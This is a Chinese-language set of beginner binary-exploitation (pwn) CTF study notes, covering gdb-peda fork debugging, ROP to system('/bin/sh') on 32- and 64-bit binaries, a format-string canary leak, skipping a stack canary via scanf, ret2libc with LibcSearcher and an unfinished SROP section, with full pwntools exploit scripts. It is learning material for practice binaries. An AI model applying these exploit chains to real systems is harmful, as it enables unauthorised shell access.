从一道简单的64位pwn练习题记录一些问题
附件下载 tl;dr 这是一篇pwn入门的笔记, 主要记录一下gdb-peda在调试多进程应用时不能正确中断读取stdin的问题, 具体表象是运行时会打印日志[Thread debugging using libthread_db enabled]和[Inferior 2 (process xxx) exited normally], 且不能在程序读取stdin时中断等待输入. 解决方法是设置变量使gdb跟踪父进程即可: set follow-fork-mode parent 1. 静态分析 Ghidra给出的伪代码如下: undefined8 main(void) { undefined local_18 [16]; system("echo -n \"What\'s your name? \""); __isoc99_scanf(&DAT_004006c5,local_18); printf("Welcome to the Pwn World, %s!\n",local_18); return 0; } checksec结果如下: Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) 整道题还是挺简单的, 但是一个坑点出在system("echo -n \"What\'s your name? \"");上. 一般而言, 程序输出是直接调用stdio的函数向标准输出中打印, 但是这道题可能是为了提供一个call system, 所以用了这么一种打印方法? 到这里还没有发现什么问题, 直到使用gdb动态调试的时候遇到了坑. 2. GDB调试 当使用gdb调试的时候, 调试器并不能在scanf函数处自动断掉, 日志如下所示: gdb-peda$ r Starting program: /home/kali/Desktop/babyrop [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". [Attaching after Thread 0x7ffff7dc7740 (LWP 3677) vfork to child process 3680] [New inferior 2 (process 3680)] [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". [Detaching vfork parent process 3677 after child exec] [Inferior 1 (process 3677) detached] process 3680 is executing new program: /usr/bin/dash [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". What's your name? [Inferior 2 (process 3680) exited normally] Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated. Use 'set logging enabled off'. Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated. Use 'set logging enabled on'. Warning: not running 但是使用无插件的gdb就不会出现该问题. 原因是system函数开启了新的进程执行echo命令, 而装了插件的gdb会自动跟踪子进程从而导致从父进程中跑出, 因而不能自动断在scanf处. 解决方法就是在执行r命令前设置变量使peda追踪父进程而不是子进程: set follow-fork-mode parent 3. pwn 64位程序的pwn思路, 概括来说就是: 找到pop rdi, ret准备rop/ 控制rip/ 提供"/bin/sh"的地址/ 提供call system的地址. 这里有一个点需要注意, 我们在布置内存的时候, 是要准备call system指令所在的地址, 而不是system函数的地址, 更不是JMP qword ptr [-><EXTERNAL>::system ]的地址. 编写exp如下: from pwn import * #r = remote("172.19.2.33", 1080) r = gdb.debug("./babyrop") offset = 24 poprdi = 0x0000000000400683 syscall = 0x004005e3 binbash = 0x601048 memory = b'a' * offset + p64(poprdi) + p64(binbash) + p64(syscall) r.recvuntil(b"What's your name?"); r.sendline(memory); r.interactive()
t1(格式化字符串泄露canary) 附件下载 拖到Ghidra里, 伪代码如下: //... //main() local_10 = *(long *)(in_FS_OFFSET + 0x28); setbuf(stdin,(char *)0x0); setbuf(stdout,(char *)0x0); puts("Give me your name:"); my_gets(local_18,8); printf(local_18); puts("your content:"); read(0,local_18,0x400); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } //my_gets() local_10 = *(long *)(in_FS_OFFSET + 0x28); setbuf(stdin,(char *)0x0); setbuf(stdout,(char *)0x0); puts("Give me your name:"); my_gets(local_18,8); printf(local_18); puts("your content:"); read(0,local_18,0x400); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } //.... 有一个printf, 还有一个自定义的my_gets. 可以先利用"格式化字符串"漏洞打印出来canary的值, 再利用下面那个gets()实现栈溢出,溢出时不要忘了在canary的地方放上canary的值即可. 此外, 还得利用设法打印出puts的got地址, 再计算出system的got地址. 先要泄露canary地址，gdb.attach(p)在栈上找下偏移。这里还有一个不同，x64相对于x32多了几个寄存器，rdi，rsi，sdx，rcx，r8，r9，rdi是格式化字符串，%1就是rsi，%2就是rdx，栈顶的数据就是%6$ plt.puts 是%7$x ..... To be continue t2(scanf跳过覆写canary) 附件下载 拖到Ghidra里, 伪代码如下: //.... long in_FS_OFFSET; int local_6c; undefined local_68 [88]; //canary long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); puts("Hi"); for (local_6c = 0; local_6c < 20; local_6c = local_6c + 1) { __isoc99_scanf("%lld",local_68 + (long)local_6c * 8); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { //canary /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; //.... 有canary, 但是scanf是按照8字节为单位, 一个个读取输入的, 因此可以设法略过对canary的覆盖: 先略过(0x60 - 0x10)/8 + 1 次scanf, 刚好跳过canary. 再略过一次scanf, 跳过ebp. 再即可覆写rip, 总共略过12次.* 经查询资料, 用"+"可以略过scanf. exp.py如下: #coding:utf8 from pwn import * from LibcSearcher import * #canary: rbp - 0x10 #buffer: rbp - 0x60 elf=ELF('./t2'); putgot=elf.got['puts']; putaddr=elf.sym['puts']; mainaddr=0x004005f6; popedi=0x004006d3; p=process('./t2'); amount = 20; counter = 0; for i in range(13): p.sendline("+"); counter = counter + 1; #这个payload用于泄露puts位于libc的地址 #popedi将puts的地址加载到edi中，用于传给put输出显示 #mainaddr为覆盖eip，这样我们又可以重新执行main函数了 payload = [ str(popedi), str(putgot), str(putaddr), str(mainaddr) ] for v in payload: p.sendline(v); counter = counter+1; while counter <= amount: p.sendline(str(0x0)); counter = counter + 1; counter = 0; p.recvuntil('Hi\n'); #注意，这步很重要,必须要去掉末尾的\n符号 s=p.recv() s=s.split(b'\n')[0]; #凑足长度8 #for i in range(len(s),8):s=s+'\x00'; #得到read的地址 addr = int.from_bytes(s, 'little'); print('0x%x'%addr); #libc数据库查询 obj=LibcSearcher("puts",addr); #得到libc加载地址 libc_base=addr-obj.dump('puts'); #获得system地址 system_addr=obj.dump("system")+libc_base; #获得/bin/sh地址 binsh_addr=obj.dump("str_bin_sh")+libc_base; binsh_addr = binsh_addr - 4; # 这里我也不知道为什么要-4, 不-4就是/sh, -4就是/bin/sh print('0x%x'%system_addr); print('0x%x'%binsh_addr); #此时缓冲区里貌似是有东西? 所以scanf后自动执行一次 counter = counter + 1; for i in range(12): p.sendline("+"); counter = counter + 1; #这个payload用于泄露puts位于libc的地址 #popedi将puts的地址加载到edi中，用于传给put输出显示 #mainaddr为覆盖rip，这样我们又可以重新执行main函数了 payload = [ str(popedi), str(binsh_addr), str(system_addr), str(mainaddr) ] for v in payload: p.sendline(str(v)); counter = counter+1; while counter <= amount: p.sendline(str(0x0)); counter = counter + 1; p.interactive()
1. 32位有system()和/bin/sh 附件下载 先拖进Ghidra中静态分析, 主函数如下所示: undefined4 main(void) { char local_20 [20]; undefined *local_c; local_c = &stack0x00000004; puts("Maybe you need /bin/sh"); gets(local_20); return 0; } 符号表里看到有system函数, 地址0x08048340 字符串搜索, 看到有"/bin/sh", 地址0x08048566 (0x08048557 + 15): 命令cyclic 200生成测试溢出偏移量用的字符串, gdb ./ret2libc_x86开启动态调试, 输入测试字符串, 得到crash时的EIP的值为"haaa": 命令cyclic -l haaa得到偏移量为28. 构造payload: payload = b'\x90' * 28 + p32(0x08048340) + p32(0x90) + p32(0x08048566); #payload = b'\x90' * 28 + p32(0x08048340) + p32(0x90) + b"/bin/bash"; #这是错误的 注意, 这里为system()准备参数的时候, 应该准备字符串"/bin/sh"的地址值(指针)而不是字符串本身. 另外, 对这里的system地址做一个解释说明: call指令实际上让cpu做了三件事: 保存现场/ 加载下一条指令地址/ 跳转执行. 所以在布局内存的时候, 根据system函数地址的不同, 有两种做法: 使用call system的地址: 直接布局call_system_addr + bin_sh_addr即可; 使用jmp _system的地址: 需要布局push eip, 即: jump_system_addr + p32(stub) + bin_sh_addr exp.py如下: from pwn import * p = process("./ret2libc2_x86"); offset = 28 jumpsys = 0x08048340 binsh = 0x08048566 # 这里的0x08048340调用的是jmp指令, 所以需要放置一个32位的任意数字用来占位 # 当然, 为了通用, 完全可以用binsh来占位, 这样无论是jmp还是call都可以通用了. payload = b'\x90' * offset + p32(jumpsys) + p32(0x90) + p32(binsh); # payload = b'\x90' * offset + p32(callsys) + p32(binsh ) + p32(binsh); p.recvuntil(b"Maybe you need /bin/sh"); p.sendline(payload); p.interactive(); 2. 64位有system()和/bin/sh 附件下载 和32位的区别就在于64位的调用约定是用寄存器传参 依然是Ghidra静态分析, 先看看主函数: undefined8 main(void) { char local_18 [16]; puts("Maybe you need /bin/sh"); gets(local_18); return 0; } 直接在符号表里找到call system()的地址 0x00400480: 这次用工具ROPgadget辅助查找地址, 不用Ghidra手动查找了. 查找字符串"/bin/sh"地址(0x0040069a): ROPgadget --binary ./ret2libc2 --string '/bin/sh' # 0x000000000040069a 查找指令pop rdi用于传参: ROPgadget --binary ./ret2libc2 | grep 'pop rdi' #0x0000000000400663 : pop rdi ; ret 计算偏移量(16+8=24): cyclic -n 8 100 #生成64位的fuzz(其实32位的也可以用, 效果一样) cyclic -n 8 -l caaaaaaa # 用rbp计算, 需要再加8个字节 # 16 cyclic -n 8 -l daaaaaaa # 用rsp计算, 直接就是正确的 # 24 构造payload: payload = b'\x90' * 24 + p64(0x00400663) + p64(0x0040069a) + p64(0x00400480); srop 附件下载 参考资料: SROP_「二进制安全pwn基础」 - 网安 (wangan.com) 拖到Ghidra里, 程序代码简单的很啊: undefined [16] entry(void) { syscall(); return ZEXT816(0x400) << 0x40; } 汇编: # entry XREF[3]: Entry Point (*) , 00400018 (*) , XOR RAX ,RAX # rax赋值为0 MOV EDX ,0x400 # edx表示读数据长度, 设置为0x400 MOV RSI ,RSP # rsi为buffer地址, 设置为栈顶 MOV RDI ,RAX # rdi为fd, 赋值为0表示标准输入 SYSCALL RET 有syscall, 此时就需要查系统调用的表了, 附件在此 rax为0, 系统调用接口如下所示: no Name rax rdi rsi rdx rcx r8 0 read 0x00 unsigned int fd char *buf size_t count - - Linux手册中记录的该函数的作用: read(2) - Linux manual page (man7.org) RETURN VALUE On success, the number of bytes read is returned (zero indicates end of file), and the file position is advanced by this number. On error, -1 is returned, and errno is set to indicate the error. In this case, it is left unspecified whether the file position (if any) changes. 关于fd, 如File descriptor - Wikipedia中所述, fd为0表示"标准输入" x64调用约定中, 返回值由寄存器rax存储. 因此通过控制输入长度可以控制寄存器rax的值. 虽然这个程序很短小, 但是它给与了我们操作栈/控制寄存器的能力, 而且存在显式的系统调用代码. 因此, 完全可以构造ROP利用链来实现溢出攻击. 偏移量计算为0. ROPgadget命令查找不到可利用的字符串, 因此需要设法向内存中写入字符串"/bin/bash". 此外, 同样不存在直接向寄存器中赋值的指令, 只有指令syscall可以利用. 尝试将字符串写到栈上, 但在此之前需要知道栈的地址. 系统调用write可以用来将地址写出到标准输出, 正好程序中也存在指令mov rsi,rsp, 可以利用write写出栈顶地址. 恰巧执行系统调用时rax和rdi两个寄存器的值保持同步, 而rax为1时表示write/ rdi为1时表示"标准输出"(怎么会这么巧呢?😏) no Name rax rdi rsi rdx rcx r8 1 write 0x01 unsigned int fd char *buf size_t count - - DESCRIPTION write() writes up to count bytes from the buffer starting at buf to the file referred to by the file descriptor fd.